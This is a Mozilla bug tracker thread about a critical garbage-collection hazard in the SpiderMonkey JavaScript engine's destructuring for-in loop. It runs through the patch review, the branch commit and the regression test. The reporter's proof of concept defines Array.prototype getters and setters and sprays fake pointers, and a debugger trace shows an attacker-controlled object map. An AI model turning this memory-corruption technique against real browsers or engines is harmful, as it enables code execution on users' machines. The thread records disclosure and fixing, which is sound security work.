Closed Bug 355410 Opened 18 years ago Closed 18 years ago

GC hazard in for([k,v] in o){...}

Categories

(Core :: JavaScript Engine, defect)

x86
Windows XP
defect
Not set
critical

Tracking

()

VERIFIED FIXED

People

(Reporter: sync2d, Assigned: igor)

References

Details

(Keywords: crash, verified1.8.1, Whiteboard: [sg:critical?] js1.7 feature)

Attachments

(2 files, 2 obsolete files)

$ cat for-in-kv-GC-hazard.txt var address = 0xbadf00d0, basket = { food: {} }; var AP = Array.prototype, rooter = {}; AP.__defineGetter__(0, function() { return this[-1]; }); AP.__defineSetter__(0, function(v) { basket.food = null; for(var i = 0; i < 8 * 1024; i++) { rooter[i] = 0x10000000000000 + address; // IEEE754! } return this[-1] = v; }); for(var [key, value] in basket) { value.trigger; } $ gdb --eval run --args dbg.obj/js -b 99999 for-in-kv-GC-hazard.txt ... Program received signal SIGSEGV, Segmentation fault. 0x00475b83 in js_Interpret (cx=0xb507a0, pc=0xb541b6 "5", result=0xa2ec50) at jsinterp.c:3851 3851 CACHED_GET(OBJ_GET_PROPERTY(cx, obj, id, &rval)); (gdb) print *obj $1 = {map = 0xbadf00d0, slots = 0x43300000} ... You can control obj->map, map->ops, ops->getProperty, etc. => exploitable.
Flags: blocking1.9?
Flags: blocking1.8.1?
Flags: blocking1.8.1.1?
Flags: blocking1.8.0.9?
It seems for me it is a dup of bug 354499.
To shutdown@flashmail.com : I am curious, did you find this with a help of some tool or just by checking the source? If the former, then we should land the fix ASAP.
Depends on: 354499
Note that is not a duplicate of bug 354499, it is a different problem that is not covered by the original case.
To clear the situation. With the cleanup patch for bug 354982 landed the fix bug 354499 would enough to solve the problem. Now if it would be necessary to fix the issue before that we need an extra patch that roots the atom.
Assignee: general → igor.bukanov
Attached patch Quick fix for for 1.8.1-only (obsolete) (deleted) — Splinter Review
This is a patch for 1.8.1 branch if it would be necessary to resolve this before landing on 1.8.1 branch the cleanup patch from bug 354982. Otherwise the patch should *not* be applied.
Attachment #241274 - Flags: review?(brendan)
Attachment #241274 - Flags: approval1.8.1?
The previous patch was empty.
Attachment #241274 - Attachment is obsolete: true
Attachment #241275 - Flags: review?(brendan)
Attachment #241275 - Flags: approval1.8.1?
Attachment #241274 - Flags: review?(brendan)
Attachment #241274 - Flags: approval1.8.1?
Comment on attachment 241275 [details] [diff] [review] Quick fix for for 1.8.1-only for real I'd rather take the larger patch, but sure -- this is brute force, at the cost atomic increment and decrement. /be
Attachment #241275 - Flags: review?(brendan) → review+
(In reply to comment #2) > To shutdown@flashmail.com : I am curious, did you find this with a help > of some tool or just by checking the source? If the former, then we > should land the fix ASAP. just by checking the source.
Blocking for Fx2 RC3
Flags: blocking1.8.1? → blocking1.8.1+
Comment on attachment 241275 [details] [diff] [review] Quick fix for for 1.8.1-only for real Approved for RC3.
Attachment #241275 - Flags: approval1.8.1? → approval1.8.1+
I committed the patch from comment 6 to MOZILLA_1_8_BRANCH: Checking in jsinterp.c; /cvsroot/mozilla/js/src/jsinterp.c,v <-- jsinterp.c new revision: 3.181.2.69; previous revision: 3.181.2.68 done
Status: NEW → RESOLVED
Closed: 18 years ago
Keywords: fixed1.8.1
Resolution: --- → FIXED
Attached file js1_7/regress/regress-355410.js (obsolete) (deleted) —
Flags: in-testsuite+
This appears to be a js1.7 fix that's not needed in 1.8.0.8 -- please renominate if I'm wrong.
Flags: blocking1.8.0.9? → blocking1.8.0.8-
Whiteboard: [sg:critical?] js1.7 feature
verified fixed 20061009 1.8 windows/linux/mac* 1.9 windows/linux. note the harness failed to capture the test results but did not crash. running the test manually showed no problems.
Status: RESOLVED → VERIFIED
Attached file js1_7/regress/regress-355410.js (deleted) —
reset Array.prototype[0]
Attachment #241705 - Attachment is obsolete: true
Flags: blocking1.8.1.1?
Group: security
/cvsroot/mozilla/js/tests/js1_7/extensions/regress-355410.js,v <-- regress-355410.js
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: